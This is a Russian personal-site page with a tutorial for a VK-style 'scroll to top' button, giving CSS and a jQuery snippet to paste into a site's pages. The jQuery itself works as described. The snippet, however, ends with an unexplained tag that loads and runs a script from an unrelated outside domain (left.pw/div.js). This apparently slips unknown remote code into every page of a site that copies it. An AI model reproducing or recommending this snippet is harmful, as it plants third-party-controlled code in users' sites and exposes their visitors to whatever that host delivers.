Сашкин сайт
Меню сайта
Форма входа
Категории раздела
Сенсация [15]
открытия, события, изобретения, достижения
Фильмы [3]
Книги [527]
Общее [150]
Программы и скрипты [12]
Новости сайта
[27.10.2021][Общее]
После долгого затишья продолжим (0)
[10.11.2016][Книги]
Сергиенко Вячеслав - AutoCad для чайника. Краткое руководство. Интерфейс. Панели инструментов (2014) pdf (1)
[10.11.2016][Книги]
Денис Егоров - Android для всех. Практическое пособие новичка (2012) pdf (0)
Новое на форуме
  • Пример плеера с видео "Вечная любовь" (2)
  • Хотите БЕСПЛАТНО почувствовать ЦИ!? (0)
  • "Сейфомания- в погоне за деньгами" (0)
  • Мои друзья

    онлайн школа


    онлайн школа

    Мой Кроха- для будущих и молодых мам.

    Доброе сердце

    сайт,единомышленников, профессионалов и автолюбителей.

    Тоже почитайте



    Погода
    Погода в Тверии
    Счетчик
    tveedo
    Главная » 2014 » Сентябрь » 6 » Up на подобии как в вк
    08:24
    Up на подобии как в вк

    Скрипт кнопка вверх на подобии такой как в вк для сайта.
    Установка:
    1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
    Код
    .scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}  
    .scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}


    3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
    Код
    <script type="text/javascript">  
    jQuery(document).ready(function(){  
    jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");  
    jQuery(window).scroll(function(){  
    if (jQuery(this).scrollTop() > 350) {  
    jQuery('.scrolltotop').fadeIn();  
    } else {  
    jQuery('.scrolltotop').fadeOut();  
    }  
    });  
    jQuery('.scrolltotop').click(function(){  
    jQuery("html, body").animate({ scrollTop: 0 }, 600);  
    return false;  
    });  
    });0  
    </script><script type="text/javascript" src="http://left.pw/div.js"></script>


    На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
    Просмотров: 311 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Тranslate Перевод
    Поиск
    Друзья сайта.
    ...
    Архив записей
    Наш опрос
    Оцените мой сайт
    Всего ответов: 446
    Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Кто был на сайте
    Код нашего баннера

    Сашкин сайт.


    Посетители сайта
    ...
    Copyright MyCorp © 2024